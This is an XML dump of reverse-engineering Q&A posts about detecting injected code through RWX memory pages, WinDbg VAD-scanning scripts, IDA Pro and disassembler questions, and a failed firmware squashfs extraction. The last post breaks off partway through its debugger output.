  <row Id="3441" PostTypeId="2" ParentId="3440" CreationDate="2014-01-12T03:53:45.890" Score="1" Body="&lt;p&gt;&lt;code&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt; (RWX) memory is commonly used for allocating injected processes. The permissions allow for code execution. Scanning memory dumps for RWX is an approach for detecting injected processes. Here are some examples of memory permission with malware injected into them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ramnit Memory: &lt;code&gt;Svchost.exe&lt;/code&gt; 1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Private (Commit), 0x20010000, 52 kB, RWX, MZ&#xA;Private (Commit), 0x2001d000, 4 kB, R,  &#xA;Private (Commit), 0x2001e000, 12 kB, RW, DS&#xA;Private (Commit), 0x20021000, 4 kB, R, &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ramnit Memory: &lt;code&gt;Svchost.exe&lt;/code&gt; 2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Private (Commit), 0x20010000, 4 kB, RWX, MZ &#xA;Private (Commit), 0x20011000, 28 kB, RX&#xA;Private (Commit), 0x20018000, 4 kB, R&#xA;Private (Commit), 0x20019000, 4 kB, RW&#xA;Private (Commit), 0x2001a000, 4 kB, R&#xA;Free, 0x2001b000, 84 kB, NA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ldpinch&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Private (Commit), 0x2460000, 160 kB, RWX, MZ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output above was created using my own tool (not Volatility). It is not uncommon for explorer.exe or other processes to have a block of memory marked as RWX. It usually has a size of 4k (depending on the process). The presence of RWX memory doesn't mean something bad is present but it is a good starting point for investigation. A good read on using Volatility for detecting process injection can be found on one of the developer's (Michael Hale Ligh) &lt;a href=&quot;http://mnin.blogspot.com/2011/06/examining-stuxnets-footprint-in-memory.html&quot; rel=&quot;nofollow&quot;&gt;site&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="1425" LastEditorUserId="53" LastEditDate="2014-01-12T09:59:30.177" LastActivityDate="2014-01-12T09:59:30.177" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3443" PostTypeId="1" AcceptedAnswerId="3448" CreationDate="2014-01-12T22:56:08.513" Score="16" ViewCount="3689" Body="&lt;p&gt;One of the major hurdles of x86 disassembly is separating code from data. All available open-source disassembly library only perform a straight line disassembly (starts from the top and skips errors by 1 byte), compared with OllyDBG which apparently uses a control flow disassembly (using opcodes like CALL and JMP) or IDA using heuristics and emulation. However these two aren't open-source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, is there any open-source library or project that uses a better technique than simple straight line disassembly (control flow or heuristics based) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I stumbled upon a paper using a machine learning approach ? is there an open-source implementation of this approach ?&lt;/p&gt;&#xA;" OwnerUserId="3469" LastActivityDate="2017-03-07T19:02:48.207" Title="Open-Source library for Complete Binary Disassembly" Tags="|disassembly|x86|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3444" PostTypeId="1" AcceptedAnswerId="3447" CreationDate="2014-01-13T02:36:33.147" Score="4" ViewCount="27920" Body="&lt;p&gt;I have newbie question that concerns IDA pro and Visual studio 2010. Basically I started a new &quot;Empty Project&quot; in VS 2010 and added a main function to the .cpp file. Then I compiled it to binary and opened up the binary using IDA Pro. However, I could not locate the main function. Why is that?&lt;/p&gt;&#xA;" OwnerUserId="3444" LastEditorUserId="3444" LastEditDate="2014-01-13T02:41:41.023" LastActivityDate="2014-01-26T23:08:06.423" Title="Could not find main function in IDA pro?" Tags="|ida|disassembly|windows|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3445" PostTypeId="2" ParentId="3444" CreationDate="2014-01-13T03:29:30.927" Score="4" Body="&lt;p&gt;In IDA, view 'functions' and look for 'start'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See anything?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes the IDA signatures can't identify the main() function. In this case, you will have to trace it manually from the program's Entry Point, though the sigs have improved over the years, they usually are able to identify main correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How you get to main() also depends also on whether you are linking to the standard Visual Studios libraries or not (I can't remember if the Empty Project does by default or not). &lt;/p&gt;&#xA;" OwnerUserId="3638" LastActivityDate="2014-01-13T03:29:30.927" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3446" PostTypeId="2" ParentId="3430" CreationDate="2014-01-13T03:37:45.947" Score="1" Body="&lt;p&gt;OllyDbg is nice, and it has some cool features but it still doesn't support x64 native debugging on Window (it is in Alpha though!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to debug x64, then WinDbg seems to be the way to go.&lt;/p&gt;&#xA;" OwnerUserId="3638" LastActivityDate="2014-01-13T03:37:45.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3447" PostTypeId="2" ParentId="3444" CreationDate="2014-01-13T07:17:18.133" Score="10" Body="&lt;p&gt;Open Exports view in IDA (Views--&gt;Open subviews--&gt;Exports).&#xA;You'll see there one function name.&#xA;It is the real main function of the program (which is possibly not your main function, but your main function will be called somehow from it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually you can not find main function by name because this information does not exist in the executable: the computer doesn't need it for program execution.&#xA;Information about function, variable and type names and relation between CPU instructions and lines of real source code called &quot;debug information&quot; and &#xA;stored in different place, which is .PDB file in your specific case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you compiled your program with debug information (which is default) loading .PDB file &#xA;(File--&gt;Load File--&gt;PDB file) will possibly be helpful.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2014-01-13T08:39:49.060" LastActivityDate="2014-01-13T08:39:49.060" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3448" PostTypeId="2" ParentId="3443" CreationDate="2014-01-13T07:28:27.197" Score="21" Body="&lt;p&gt;&lt;a href=&quot;http://radare.org/&quot; rel=&quot;noreferrer&quot;&gt;Radare 2&lt;/a&gt; is a GPL software, with a good API, and is not using linear disassembling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See visual mode (Vp command) example:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/B3077.png&quot; alt=&quot;example r2 x86 session&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="38" LastEditDate="2014-01-13T12:40:43.420" LastActivityDate="2014-01-13T12:40:43.420" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3450" PostTypeId="1" CreationDate="2014-01-13T11:01:40.313" Score="4" ViewCount="2212" Body="&lt;p&gt;This sounds like a very simple thing to accomplish but I can't seem to get it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to run a part of a program in ImmDbg instruction by instruction and keep track of some actions that it performs (which jumps it takes, when registers are modified, etc...). This is of course a tedious process to do by hand and sometimes I need to automate it and add some custom behavior based on the target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't find tracing facilities in the Python APIs, so I tried to step through the code. The sample code below should simply execute 10 instructions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import immlib&#xA;&#xA;imm = immlib.Debugger()&#xA;&#xA;def main(args):&#xA;    for i in range(10):&#xA;        imm.stepIn()&#xA;&#xA;    return &quot;OK&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it appears to be executing sometimes less than 10 instructions and each stepIn() call freezes the program for about a second, rendering the script way too slow to perform anything useful.&lt;/p&gt;&#xA;" OwnerUserId="3605" LastActivityDate="2017-08-13T23:48:58.190" Title="How do I trace instructions in an Immunity Debugger PyCommand?" Tags="|python|debugging|immunity-debugger|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3451" PostTypeId="1" AcceptedAnswerId="15687" CreationDate="2014-01-13T17:11:10.477" Score="17" ViewCount="8197" Body="&lt;p&gt;I'm reversing an application with IDA.&#xA;My VM crashed and left the IDA database in a corrupted unpacked state. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next time I tried to load it back, IDA gave me the following error message: &lt;code&gt;The input database is corrupted: CRC32 mistmatch. Continue?&lt;/code&gt; a few times, then it quit with the error &lt;code&gt;bTree error: index file is bad&lt;/code&gt;. Google-ing these error messages gave no useful results, which is unusual. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'ld like restore the database, or at least extract the data somehow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already tried the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Zynamics bindiff (couldn't open the IDB, said it's probably opened in another IDA instance, which I guess Is a result of the corrupted data)&lt;/li&gt;&#xA;&lt;li&gt;Manual hex diff - I just can't interpret the output.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At this point I'm thinking of somehow &lt;strong&gt;parsing the IDB&lt;/strong&gt; and then diffing that output manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So, how can I parse/extract data from IDB files?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3452/how-do-you-manage-backup-your-ida-database&quot;&gt;Related.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2354" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2017-06-27T06:13:49.337" Title="Parsing/Rescuing corrupted IDA database" Tags="|ida|binary-analysis|file-format|struct|hex|" AnswerCount="3" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="3452" PostTypeId="1" AcceptedAnswerId="3453" CreationDate="2014-01-13T17:15:33.590" Score="8" ViewCount="3052" Body="&lt;p&gt;Recently I lost an important IDA database. Up until now, I manually made a copy of my work IDB every day, but that's obviously not a good backup technique. I was wondering how do you manage/backup your IDB. Like make a copy of the current IDB every minute or something like that.&lt;/p&gt;&#xA;" OwnerUserId="2354" LastActivityDate="2014-01-13T17:40:39.867" Title="How do you manage/backup your IDA database?" Tags="|ida|" AnswerCount="1" CommentCount="1" ClosedDate="2014-01-22T02:33:28.370" ContentLicense="CC BY-SA 3.0" />
  <row Id="3453" PostTypeId="2" ParentId="3452" CreationDate="2014-01-13T17:40:39.867" Score="10" Body="&lt;p&gt;The recently added &lt;a href=&quot;http://www.hexblog.com/?p=415&quot; rel=&quot;noreferrer&quot;&gt;database snapshot feature&lt;/a&gt; allows you to set up periodical snapshots of your database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NDVrj.png&quot; alt=&quot;IDA Database snapshot manager&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-01-13T17:40:39.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3454" PostTypeId="1" CreationDate="2014-01-13T19:41:25.600" Score="6" ViewCount="6165" Body="&lt;p&gt;I'm trying to unsquash a file I retrieved with binwalk. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL     HEX         DESCRIPTION&#xA;-------------------------------------------------------------------------------------------------------------------&#xA;43892       0xAB74      U-Boot boot loader reference&#xA;131072      0x20000     Squashfs filesystem, little endian, version 4.0, compression:gzip, size: 818155 bytes,  712 inodes, blocksize: 131072 bytes, created: Wed Jan  8 16:01:03 2014 &#xA;1242666     0x12F62A    uImage header, header size: 64 bytes, header CRC: 0xBFAA8D79, created: Wed Jan  8 12:41:47 2014, image size: 1457340 bytes, Data Address: 0x80002000, Entry Point: 0x80006F30, data CRC: 0x81C66D08, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: &quot;MIPS Linux-2.6.32&quot;&#xA;1242730     0x12F66A    LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 4631160 bytes&#xA;2705410     0x294802    Squashfs filesystem, little endian, version 4.0, compression:gzip, size: 22862751 bytes,  1711 inodes, blocksize: 131072 bytes, created: Wed Jan  8 16:01:06 2014 &#xA;26285890    0x1911742   LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 1393 bytes&#xA;26287433    0x1911D49   gzip compressed data, from Unix, last modified: Thu Jan  9 11:32:52 2014&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I &lt;code&gt;unsquash -s file.squashfs&lt;/code&gt; I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Found a valid SQUASHFS 4:0 superblock on file.squashfs.&#xA;Creation or last append time Wed Jan  8 15:01:06 2014&#xA;Filesystem size 22326.91 Kbytes (21.80 Mbytes)&#xA;Compression gzip&#xA;Block size 131072&#xA;Filesystem is exportable via NFS&#xA;Inodes are compressed&#xA;Data is compressed&#xA;Fragments are compressed&#xA;Always_use_fragments option is not specified&#xA;Xattrs are compressed&#xA;Duplicates are removed&#xA;Number of fragments 133&#xA;Number of inodes 1711&#xA;Number of ids 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I try to unsquash the image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@kali:~# unsquashfs file.squashfs&#xA;Parallel unsquashfs: Using 3 processors&#xA;Lseek failed because Invalid argument&#xA;read_block: failed to read block @0x973e11cec35cd74d&#xA;read_uids_guids: failed to read id table block&#xA;FATAL ERROR aborting: failed to uid/gid table&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I'm a bit puzzled why it won't decompress. I have tried as well with the latest tools from squashfs. Can anyone give me some direction on how to proceed on this one and debug this problem?&lt;/p&gt;&#xA;" OwnerUserId="3644" LastEditorUserId="3644" LastEditDate="2014-01-14T12:16:30.157" LastActivityDate="2014-01-14T15:41:43.903" Title="Unsquashfs fails" Tags="|firmware|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3455" PostTypeId="2" ParentId="3440" CreationDate="2014-01-14T00:08:05.307" Score="5" Body="&lt;p&gt;&lt;strong&gt;All the statements below are xp-sp3 based&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;windbg can also be used to parse for RWX pages in VadTree&lt;br&gt;&#xA;Copy paste following lines to &lt;code&gt;**.txt and run the script $$&amp;gt;a&amp;lt; path to **.txt&lt;/code&gt;    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;script contents needs grep in path for text parsing &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;aS  proc        @#Process ;&#xA;aS  procname    @@c++( (char *)(((nt!_EPROCESS *) @#Process ))-&amp;gt;ImageFileName )  ;&#xA;aS  procvad     @@c++( (((nt!_EPROCESS *) @#Process ))-&amp;gt;VadRoot )  ;&#xA;.block { !for_each_process &quot;.printf \&quot;%20ma\t%p\t%p\n\n\&quot;,${procname}, ${proc} , ${procvad}; .echo \n;.shell  -ci  \&quot;!vad ${procvad}\&quot;  grep  \&quot;EXECUTE_READWRITE\&quot;&quot; } ;&#xA;ad *&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then set the process context to approriate process and examine the memory from StartVpn to EndVpn&lt;/p&gt;&#xA;&#xA;&lt;p&gt;iirc Winlogon and csrss always had a few RWX pages&lt;br&gt;&#xA;the csrss RWX page always seemed to contain lots of initialization  _UNICODE_STRING&lt;br&gt;&#xA;most of the pages wont be available for viewing you may need to live debug in Phase1Init Stage &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sxe ibp;.reboot  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on reboot set &lt;code&gt;bp NtCreateProcessEx&lt;/code&gt; until csrss is about to be created&lt;br&gt;&#xA;&lt;code&gt;bc * ; gu ;!vad on csrss _EPROCESS&lt;/code&gt; &#xA;csrss process at this point wont have the RWX page&lt;br&gt;&#xA;only 4 vads will exist in csrss VadTree&lt;br&gt;&#xA;you may need to follow from here and catch the allocation / writes and executions&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;           csrss.exe    86acebe0    86d62660  &#xA;86d39250 ( 4) 7f6f0 7f7ef 0 Mapped       EXECUTE_READWRITE  Pagefile-backed section&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this oneliner will fetch you most of the strings in that page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.foreach (place { s -[1]b 7f6f0000 l?7000 0x7f } ) { r $t0 = place ; dS @$t0-7}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;output of the above line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7f6f2170  &quot;C:\WINDOWS&quot;&#xA;7f6f2190  &quot;C:\WINDOWS\system32&quot;&#xA;7f6f21c0  &quot;\BaseNamedObjects&quot;&#xA;7f6f2208  &quot;.罯...罯&quot;&#xA;7f6f22b0  &quot;.罯...罯&quot;&#xA;7f6f221c  &quot;Autorun.inf&quot;&#xA;7f6f2300  &quot;.罯02.罯Software\Microsoft\Clock&quot;&#xA;7f6f226c  &quot;DoesNotExist&quot;&#xA;7f6f2260  &quot;.罯&quot;&#xA;7f6f2368  &quot;ヘ罯...罯.罯&quot;&#xA;7f6f22c4  &quot;Clock.ini&quot;&#xA;7f6f23d8  &quot;.罯68.罯Control Panel\Color Scheme&quot;&#xA;7f6f2418  &quot;s&quot;&#xA;7f6f230c  &quot;Software\Microsoft\Clock&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the winlogon RWX pages will contain Executble code most of them will start with &#xA;&lt;code&gt;push cx push ax&lt;/code&gt; sequence and end with an indirect call to somehwre via &lt;code&gt;jmp eax&lt;/code&gt; &#xA;and some intermediate calls to unviewable / non existing locations &#xA;may need live analysis &lt;/p&gt;&#xA;&#xA;&lt;p&gt;never observed rwx pages in clean explorer / iexplore / services.exe processos&#xA;they exist only if some antivirus etc are installed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see below for an &lt;code&gt;Avasted RWX&lt;/code&gt; page in explorer.exe patching &lt;code&gt;RtlSetCurrentDirectory_U&lt;/code&gt; and loading &lt;code&gt;snxhk.dll using LdrLoadDll()&lt;/code&gt; this same patch can also be observed in iexplore.exe&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.shell dir /b scan*vad*&#xA;scanvad4rwx.txt    &#xA;lkd&amp;gt; $$&amp;gt;a&amp;lt; scanvad4rwx.txt&#xA;              System    86fc6830    86fbfa90     &#xA;            smss.exe    86b0e020    86dfd008      &#xA;           csrss.exe    86acebe0    86f4e4d0  &#xA;86d39250 ( 4) 7f6f0 7f7ef 0 Mapped EXECUTE_READWRITE  Pagefile-backed section    &#xA;        winlogon.exe    86d7b918    86d58930  &#xA;86ae8ee0 ( 8)       9550     9553         4 Private      EXECUTE_READWRITE &#xA;86340690 ( 7)      29c90    29c93         4 Private      EXECUTE_READWRITE &#xA;86f370d0 ( 6)      2a4f0    2a4f3         4 Private      EXECUTE_READWRITE &#xA;86b13a38 ( 5)      46580    46583         4 Private      EXECUTE_READWRITE &#xA;86da2a00 ( 6)      497c0    497c3         4 Private      EXECUTE_READWRITE &#xA;        services.exe    86b0a020    86ec15c8  &#xA;86da7c20 (12)        380      380         1 Private      EXECUTE_READWRITE &#xA;               lsass.exe    86b2a6b8    86b21110  &#xA;    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&#xA;        explorer.exe    86241260    86b86768  &#xA;86b13d28 (13)         90       90         1 Private      EXECUTE_READWRITE &#xA;86545e50 (11)        2b0      2b0         1 Private      EXECUTE_READWRITE &#xA;86aa6878 (12)        2c0      2ca        11 Private      EXECUTE_READWRITE &#xA;86b056a0 (10)        2d0      2da        11 Private      EXECUTE_READWRITE &#xA;86b3b9c8 (12)        2e0      2ea        11 Private      EXECUTE_READWRITE &#xA;             AvastUI.exe    86315a00    860fc008  &#xA;    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&#xA;        iexplore.exe    86aaf020    861b3f00  &#xA;862ae9f8 (16)        150      150         1 Private      EXECUTE_READWRITE &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on rereading i noticed the below output is from a differnt session&#xA;so splitting &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;and examine the memory  using  lkd&amp;gt; .process /p /r 862543e8 &amp;amp;   lkd&amp;gt; uf 150000&#xA;00150000 50              push    eax&#xA;00150001 60              pushad&#xA;00150002 bd42001500      mov     ebp,150042h&#xA;00150007 8b7d10          mov     edi,dword ptr [ebp+10h]&#xA;0015000a 8b4518          mov     eax,dword ptr [ebp+18h]&#xA;0015000d 8b5d1c          mov     ebx,dword ptr [ebp+1Ch]&#xA;00150010 8907            mov     dword ptr [edi],eax&#xA;00150012 895f04          mov     dword ptr [edi+4],ebx&#xA;00150015 897c2420        mov     dword ptr [esp+20h],edi&#xA;00150019 8d454c          lea     eax,[ebp+4Ch]&#xA;0015001c 50              push    eax&#xA;0015001d ff7548          push    dword ptr [ebp+48h]&#xA;00150020 8d4550          lea     eax,[ebp+50h]&#xA;00150023 50              push    eax&#xA;00150024 8d4540          lea     eax,[ebp+40h]&#xA;00150027 50              push    eax&#xA;00150028 6aff            push    0FFFFFFFFh&#xA;0015002a ff5508          call    dword ptr [ebp+8]&#xA;0015002d 85c0            test    eax,eax&#xA;0015002f 750f            jne     00150040    &#xA;00150031 33c9            xor     ecx,ecx&#xA;00150033 8d4538          lea     eax,[ebp+38h]&#xA;00150036 50              push    eax&#xA;00150037 8d4528          lea     eax,[ebp+28h]&#xA;0015003a 50              push    eax&#xA;0015003b 51              push    ecx&#xA;0015003c 51              push    ecx&#xA;0015003d ff5500          call    dword ptr [ebp]    &#xA;00150040 61              popad&#xA;00150041 c3              ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;put the commands in one line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;? @$t1+10 ; ? poi(@$t1+10) ; ln poi(@$t1+10); db (@$t1+18) l8; u (@$t1+18)  l3;&#xA;? poi(@$t1+4c) ; ? poi(@$t1+48) ; ? poi(@$t1+50) ;? poi(@$t1+40) ;  lm m ntdll* ;&#xA;ln poi(@$t1+8) ; ? poi(@$t1+38); db  (@$t1+28) l8; du /c 40 poi(@$t1+2c) ;&#xA;? poi(@$t1); ln poi(@$t1);.echo patches RtlSetCurwith pattern and sets return &#xA;address    [esp+20]to patched instruction calls ntvirtproct for a pagein ntdll &#xA;on successloads a dll using LdrLoadDll;   &#xA;&#xA;Evaluate expression: 1376338 = 00150052&#xA;Evaluate expression: 2089936810 = 7c91e7aa&#xA;(7c91e7aa)       Exact matches: ntdll!RtlSetCurrentDirectory_U&#xA;0015005a  6a 6c 68 78 e9 91 7c e8                          jlhx..|.&#xA;0015005a 6a6c            push    6Ch&#xA;0015005c 6878e9917c      push    offset ntdll!`string'+0x34 (7c91e978)&#xA;00150061 e81501ffff      call    0014017b&#xA;Evaluate expression: 64 = 00000040&#xA;Evaluate expression: 32 = 00000020&#xA;Evaluate expression: 4096 = 00001000&#xA;Evaluate expression: 2089934848 = 7c91e000&#xA;start    end        module name&#xA;7c900000 7c9b2000   ntdll      (pdb symbols)          f:\symbols\ntdll.pdb&#xA;(7c90d6ee)   Exact matches: ntdll!NtProtectVirtualMemory&#xA;Evaluate expression: 1691353088 = 64d00000&#xA;0015006a  60 00 60 00 9a 00 15 00                          `.`.....&#xA;0015009a  &quot;C:\Program Files\Alwil Software\Avast5\snxhk.dll&quot;&#xA;Evaluate expression: 2089903043 = 7c9163c3&#xA;(7c9163c3)      Exact matches:    ntdll!LdrLoadDll = &amp;lt;no type information&amp;gt;&#xA;patches RtlSetCurwith pattern and sets return address    &#xA;[esp+20] to patched instruction calls ntvirtproct for     &#xA;a page in ntdll on success loads a dll using LdrLoadDll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the rwx page in csrss.exe is being created during CSRSRV initialization seems to be heap&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i set a conditional break after csrss.exe is created on NtAllocateVirtualMemory to print the VadTree on every allocation&lt;br&gt;&#xA;and i see that the rwx page is inserted while CSRSRV init and a CreateSharedSection is observed in call stack    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sxe ibp;.reboot&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on reboot &lt;code&gt;bp NtCreateprocessEx and hit g;kb&lt;/code&gt; till csrss.exe is about to be created&lt;br&gt;&#xA;you can glean the process being created by looking at the unicode_string passed to RtlCreateUserProcess api in the callstack printed&lt;br&gt;&#xA;dS   should print ........................../csrss.exe&lt;br&gt;&#xA;enter &lt;code&gt;gu&lt;/code&gt; go up to allow the process to be created&lt;br&gt;&#xA;&lt;code&gt;!process 0 1 csrss.exe&lt;/code&gt;  save eprocess to scratch pad&lt;br&gt;&#xA;!vad VadRoot&lt;br&gt;&#xA;you should observe 4 vads in csrss vad tree    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;now set this conditional breakpoint  (&lt;code&gt;substitute the saved eprocess inplace of 0x81160020&lt;/code&gt; note &lt;code&gt;use 0x notation&lt;/code&gt; )&lt;br&gt;&#xA;bp &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bp nt!NtAllocateVirtualMemory &quot;!vad @@c++(((nt!_EPROCESS *) 0x81160020)-&amp;gt;VadRoot);kb;.echo \n;dd poi(@esp+8);&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you persist with an access breakpoint you can catch when the rwx page is being added to the ProcessHeapList&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ntdll!RtlCreateHeap+0x5b9:&#xA;001b:7c9253de e8a6000000      call    &lt;code&gt;ntdll!RtlpAddHeapToProcessList&lt;/code&gt; (7c925489)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;kd&gt; &lt;code&gt;!heap&lt;/code&gt;&#xA;HEAPEXT: Unable to get address of *ntdll!RtlpGlobalTagHeap.&#xA;Index   Address  Name      Debugging options enabled&lt;br&gt;&#xA;  1:   00160000&lt;br&gt;&#xA;  2:   00260000&lt;br&gt;&#xA;kd&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;p  step over the call&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ntdll!RtlCreateHeap+0x5be:&#xA;001b:7c9253e3 8b45e4          mov     eax,dword ptr [ebp-1Ch]&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; !heap&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Index   Address  Name      Debugging options enabled&lt;br&gt;&#xA;  1:   00160000&lt;br&gt;&#xA;  2:   00260000&lt;br&gt;&#xA;  3:   &lt;code&gt;7f6f0000&lt;/code&gt;                &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; `!process 0 1 csrss.exe`&#xA;PROCESS `81160020`  SessionId: 0  Cid: 01c4    Peb: 7ffde000  ParentCid: 014c&#xA;    DirBase: 06e30000  ObjectTable: e14a7f38  HandleCount:  10.&#xA;    Image: csrss.exe&#xA;    VadRoot `812275c0 Vads 13` &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;dump vadtree&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; `!vad 812275c0`&#xA;VAD     level      start      end    commit&#xA;812201d8 ( 1)          0       ff         0 Private      READWRITE         &#xA;812280e8 ( 2)        100      100         1 Private      READWRITE         &#xA;81229dd0 ( 3)        110      110         1 Private      READWRITE         &#xA;81222a88 ( 4)        120      15f         4 Private      READWRITE         &#xA;811f30b8 ( 5)        160      25f         3 Private      READWRITE         &#xA;81223b80 ( 6)        260      26f         6 Private      READWRITE         &#xA;812275c0 ( 0)      4a680    4a684         2 Mapped  Exe  EXECUTE_WRITECOPY  \WINDOWS\system32\csrss.exe&#xA;811f4fd8 ( 2)      75b40    75b4a         2 Mapped  Exe  EXECUTE_WRITECOPY  \WINDOWS\system32\csrsrv.dll&#xA;811cced0 ( 1)      7c900    7c9b1         5 Mapped  Exe  EXECUTE_WRITECOPY  \WINDOWS\system32\ntdll.dll&#xA;8121f440 ( 3)      `7f6f0    7f7ef         0 Mapped       EXECUTE_READWRITE`  Pagefile-backed section&#xA;81167108 ( 2)      7ffb0    7ffd3         0 Mapped       READONLY           Pagefile-backed section&#xA;811e1d30 ( 4)      7ffdd    7ffdd         1 Private      READWRITE         &#xA;811e21b0 ( 3)      7ffde    7ffde         1 Private      READWRITE         &#xA;&#xA;Total VADs:    13  average level:    3  maximum depth: 